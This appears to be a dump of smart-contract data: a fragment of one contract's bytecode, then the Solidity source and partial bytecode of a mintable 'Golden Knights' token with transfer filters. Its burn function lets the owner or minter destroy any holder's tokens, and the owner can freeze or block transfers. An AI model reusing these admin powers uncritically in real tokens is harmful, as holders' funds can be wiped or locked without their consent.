39092168252519081900360200190f35b61029461060a565b61010d610619565b6101ae600480360360208110156102d657600080fd5b503561067a565b6101ae600480360360408110156102f357600080fd5b506001600160a01b0381351690602001356106ff565b6101ae6004803603604081101561031f57600080fd5b506001600160a01b03813516906020013561076d565b6101ca6004803603604081101561034b57600080fd5b506001600160a01b0381358116916020013516610781565b61028a6004803603602081101561037957600080fd5b50356001600160a01b03166107ac565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104155780601f106103ea57610100808354040283529160200191610415565b820191906000526020600020905b8154815290600101906020018083116103f857829003601f168201915b5050505050905090565b600061043361042c610822565b8484610826565b50600192915050565b60035490565b600061044f848484610912565b6104c58461045b610822565b6104c085604051806060016040528060288152602001610d6a602891396001600160a01b038a16600090815260026020526040812090610499610822565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610a7016565b610826565b5060019392505050565b60045460ff1690565b60006104336104e5610822565b846104c085600260006104f6610822565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610b0716565b6001600160a01b031660009081526001602052604090205490565b61054f610822565b6000546001600160a01b039081169116146105b1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061060561060a565b905090565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104155780601f106103ea57610100808354040283529160200191610415565b6000610684610822565b6000546001600160a01b039081169116146106e6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6106f76106f1610822565b83610b68565b506001919050565b600061043361070c610822565b846104c085604051806060016040528060258152602001610ddb6025913960026000610736610822565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610a7016565b600061043361077a610822565b8484610912565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6107b4610822565b6000546001600160a01b03908116911614610816576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61081f81610c5a565b50565b3390565b6001600160a01b03831661086b5760405162461bcd60e51b8152600401808060200182810382526024815260200180610d206024913960400191505060405180910390fd5b6001600160a01b0382166108b05760405162461bcd60e51b8152600401808060200182810382526022815260200180610e006022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166109575760405162461bcd60e51b8152600401808060200182810382526025815260200180610cfb6025913960400191505060405180910390fd5b6001600160a01b03821661099c5760405162461bcd60e51b8152600401808060200182810382526023815260200180610db86023913960400191505060405180910390fd5b6109df81604051806060016040528060268152602001610d92602691396001600160a01b038616600090815260016020526040902054919063ffffffff610a7016565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610a14908263ffffffff610b0716565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610aff5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ac4578181015183820152602001610aac565b50505050905090810190601f168015610af15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610b61576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038216610bc3576040805162461bcd60e51b815260206004820152601f60248201527f42455032303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600354610bd6908263ffffffff610b0716565b6003556001600160a01b038216600090815260016020526040902054610c02908263ffffffff610b0716565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038116610c9f5760405162461bcd60e51b8152600401808060200182810382526026815260200180610d446026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b039290921691909117905556fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a20617070726f766520746f20746865207a65726f2061646472657373a265627a7a7231582083a86dc7f6f3e9b9afa076614f0c9ac4fc617974fbc1cd2b2b9f188224e854d764736f6c63430005100032
[ 38 ]
0xF2aC5caa606F53702B8A7B9ee1c798277Bd7e8dB
pragma solidity 0.5.6; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; address public delegate; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "You must be owner."); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Invalid new owner address."); delegate = newOwner; } function confirmChangeOwnership() public { require(msg.sender == delegate, "You must be delegate."); emit OwnershipTransferred(owner, delegate); owner = delegate; delegate = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Multiplying uint256 overflow."); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Dividing by zero is not allowed."); uint256 c = a / b; return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Negative uint256 is now allowed."); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Adding uint256 overflow."); return c; } } contract TransferFilter is Ownable { bool public isTransferable; mapping( address => bool ) internal mapAddressPass; mapping( address => bool ) internal mapAddressBlock; event LogSetTransferable(bool transferable); event LogFilterPass(address indexed target, bool status); event LogFilterBlock(address indexed target, bool status); // if Token transfer modifier checkTokenTransfer(address source) { if (isTransferable) { require(!mapAddressBlock[source], "Source address is in block filter."); } else { require(mapAddressPass[source], "Source address must be in pass filter."); } _; } constructor() public { isTransferable = true; } function setTransferable(bool transferable) external onlyOwner { isTransferable = transferable; emit LogSetTransferable(transferable); } function isInPassFilter(address user) external view returns (bool) { return mapAddressPass[user]; } function isInBlockFilter(address user) external view returns (bool) { return mapAddressBlock[user]; } function addressToPass(address[] calldata target, bool status) external onlyOwner { for( uint i = 0 ; i < target.length ; i++ ) { address targetAddress = target[i]; bool old = mapAddressPass[targetAddress]; if (old != status) { if (status) { mapAddressPass[targetAddress] = true; emit LogFilterPass(targetAddress, true); } else { delete mapAddressPass[targetAddress]; emit LogFilterPass(targetAddress, false); } } } } function addressToBlock(address[] calldata target, bool status) external onlyOwner { for( uint i = 0 ; i < target.length ; i++ ) { address targetAddress = target[i]; bool old = mapAddressBlock[targetAddress]; if (old != status) { if (status) { mapAddressBlock[targetAddress] = true; emit LogFilterBlock(targetAddress, true); } else { delete mapAddressBlock[targetAddress]; emit LogFilterBlock(targetAddress, false); } } } } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, TransferFilter { using SafeMath for uint256; mapping(address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; modifier onlyPayloadSize(uint8 param) { // Check payload size to prevent short address attack. // Payload size must be longer than sum of methodID length and size of parameters. require(msg.data.length >= param * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) onlyPayloadSize(2) // number of parameters checkTokenTransfer(msg.sender) public returns (bool) { require(_to != address(0), "Invalid destination address."); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) // number of parameters checkTokenTransfer(_from) public returns (bool) { require(_from != address(0), "Invalid source address."); require(_to != address(0), "Invalid destination address."); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); uint256 _allowedValue = allowed[_from][msg.sender].sub(_value); allowed[_from][msg.sender] = _allowedValue; emit Transfer(_from, _to, _value); emit Approval(_from, msg.sender, _allowedValue); return true; } function approve(address _spender, uint256 _value) onlyPayloadSize(2) // number of parameters checkTokenTransfer(msg.sender) public returns (bool) { require(_spender != address(0), "Invalid spender address."); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0), "Already approved."); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken { event MinterTransferred(address indexed previousMinter, address indexed newMinter); event Mint(address indexed to, uint256 amount); event MintFinished(); event Burn(address indexed from, uint256 value); bool public mintingFinished = false; address public minter; constructor() public { minter = msg.sender; emit MinterTransferred(address(0), minter); } modifier canMint() { require(!mintingFinished, "Minting is already finished."); _; } modifier hasPermission() { require(msg.sender == owner || msg.sender == minter, "You must be either owner or minter."); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) canMint hasPermission external returns (bool) { require(_to != address(0), "Invalid destination address."); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() canMint onlyOwner external returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function transferMinter(address newMinter) public onlyOwner { require(newMinter != address(0), "Invalid new minter address."); address prevMinter = minter; minter = newMinter; emit MinterTransferred(prevMinter, minter); } function burn(address _from, uint256 _amount) external hasPermission { require(_from != address(0), "Invalid source address."); balances[_from] = balances[_from].sub(_amount); totalSupply = totalSupply.sub(_amount); emit Transfer(_from, address(0), _amount); emit Burn(_from, _amount); } } contract GoldenKnights is MintableToken { string public constant name = "Golden Knights"; // solium-disable-line uppercase string public constant symbol = "GOLA"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase /** * @dev Constructor that initialize token. */ constructor() public { //totalSupply = 0; } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80638da5cb5b116100de578063afbdaa0511610097578063dd62ed3e11610071578063dd62ed3e14610854578063e602af06146108cc578063f2fde38b146108d6578063fe99ad5a1461091a57610173565b8063afbdaa0514610729578063b57874ce14610785578063c89e43611461080a57610173565b80638da5cb5b146104f357806394b44f3e1461053d57806395d89b41146105c25780639cd23707146106455780639dc29fac14610675578063a9059cbb146106c357610173565b806323b872dd1161013057806323b872dd1461030d578063313ce5671461039357806340c10f19146103b7578063483b1a761461041d57806370a08231146104795780637d64bcb4146104d157610173565b806305d2035b1461017857806306fdde031461019a578063075461721461021d578063095ea7b31461026757806318160ddd146102cd5780632121dc75146102eb575b600080fd5b61018061095e565b604051808215151515815260200191505060405180910390f35b6101a2610971565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e25780820151818401526020810190506101c7565b50505050905090810190601f16801561020f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102256109aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102b36004803603604081101561027d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d0565b604051808215151515815260200191505060405180910390f35b6102d5610de1565b6040518082815260200191505060405180910390f35b6102f3610de7565b604051808215151515815260200191505060405180910390f35b6103796004803603606081101561032357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dfa565b604051808215151515815260200191505060405180910390f35b61039b6113d5565b604051808260ff1660ff16815260200191505060405180910390f35b610403600480360360408110156103cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113da565b604051808215151515815260200191505060405180910390f35b61045f6004803603602081101561043357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061176e565b604051808215151515815260200191505060405180910390f35b6104bb6004803603602081101561048f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117c4565b6040518082815260200191505060405180910390f35b6104d961180d565b604051808215151515815260200191505060405180910390f35b6104fb6119a3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105c06004803603604081101561055357600080fd5b810190808035906020019064010000000081111561057057600080fd5b82018360208201111561058257600080fd5b803590602001918460208302840111640100000000831117156105a457600080fd5b90919293919293908035151590602001909291905050506119c9565b005b6105ca611c95565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561060a5780820151818401526020810190506105ef565b50505050905090810190601f1680156106375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106736004803603602081101561065b57600080fd5b81019080803515159060200190929190505050611cce565b005b6106c16004803603604081101561068b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611de9565b005b61070f600480360360408110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506120f2565b604051808215151515815260200191505060405180910390f35b61076b6004803603602081101561073f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124af565b604051808215151515815260200191505060405180910390f35b6108086004803603604081101561079b57600080fd5b81019080803590602001906401000000008111156107b857600080fd5b8201836020820111156107ca57600080fd5b803590602001918460208302840111640100000000831117156107ec57600080fd5b9091929391929390803515159060200190929190505050612505565b005b6108126127d1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108b66004803603604081101561086a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127f7565b6040518082815260200191505060405180910390f35b6108d461287e565b005b610918600480360360208110156108ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a86565b005b61095c6004803603602081101561093057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c30565b005b600760009054906101000a900460ff1681565b6040518060400160405280600e81526020017f476f6c64656e204b6e696768747300000000000000000000000000000000000081525081565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060026004602082020160ff16600036905010156109ee57600080fd5b33600260149054906101000a900460ff1615610aac57600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f8a6022913960400191505060405180910390fd5b610b4f565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612fac6026913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610bf2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e76616c6964207370656e64657220616464726573732e000000000000000081525060200191505060405180910390fd5b6000841480610c7d57506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b610cef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f416c726561647920617070726f7665642e00000000000000000000000000000081525060200191505060405180910390fd5b83600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925866040518082815260200191505060405180910390a360019250505092915050565b60005481565b600260149054906101000a900460ff1681565b600060036004602082020160ff1660003690501015610e1857600080fd5b84600260149054906101000a900460ff1615610ed657600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f8a6022913960400191505060405180910390fd5b610f79565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612fac6026913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561101c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e76616c696420736f7572636520616464726573732e00000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156110bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c69642064657374696e6174696f6e20616464726573732e0000000081525060200191505060405180910390fd5b61111184600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7e90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a684600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0190919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061127a85600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7e90919063ffffffff16565b905080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3600193505050509392505050565b601281565b6000600760009054906101000a900460ff161561145f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d696e74696e6720697320616c72656164792066696e69736865642e0000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115085750600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61155d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612fd26023913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611600576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c69642064657374696e6174696f6e20616464726573732e0000000081525060200191505060405180910390fd5b61161582600054612f0190919063ffffffff16565b60008190555061166d82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0190919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600760009054906101000a900460ff1615611892576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d696e74696e6720697320616c72656164792066696e69736865642e0000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611955576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b6001600760006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b60008090505b83839050811015611c8f576000848483818110611aab57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905083151581151514611c80578315611bdc576001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fa09e978c90f25c2a977904ade347948ac4761e23cf07a17f87c8b77ef301e89c6001604051808215151515815260200191505060405180910390a2611c7f565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690558173ffffffffffffffffffffffffffffffffffffffff167fa09e978c90f25c2a977904ade347948ac4761e23cf07a17f87c8b77ef301e89c6000604051808215151515815260200191505060405180910390a25b5b50508080600101915050611a92565b50505050565b6040518060400160405280600481526020017f474f4c410000000000000000000000000000000000000000000000000000000081525081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b80600260146101000a81548160ff0219169083151502179055507f4d49befdca73a4dc2f0a3a9ed2dd8ddd7a76d19758d7e27dbb88c5a576d6f92e81604051808215151515815260200191505060405180910390a150565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e925750600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611ee7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612fd26023913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e76616c696420736f7572636520616464726573732e00000000000000000081525060200191505060405180910390fd5b611fdc81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7e90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061203481600054612e7e90919063ffffffff16565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b600060026004602082020160ff166000369050101561211057600080fd5b33600260149054906101000a900460ff16156121ce57600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121c9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f8a6022913960400191505060405180910390fd5b612271565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612270576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612fac6026913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c69642064657374696e6174696f6e20616464726573732e0000000081525060200191505060405180910390fd5b61236684600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7e90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0190919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019250505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffff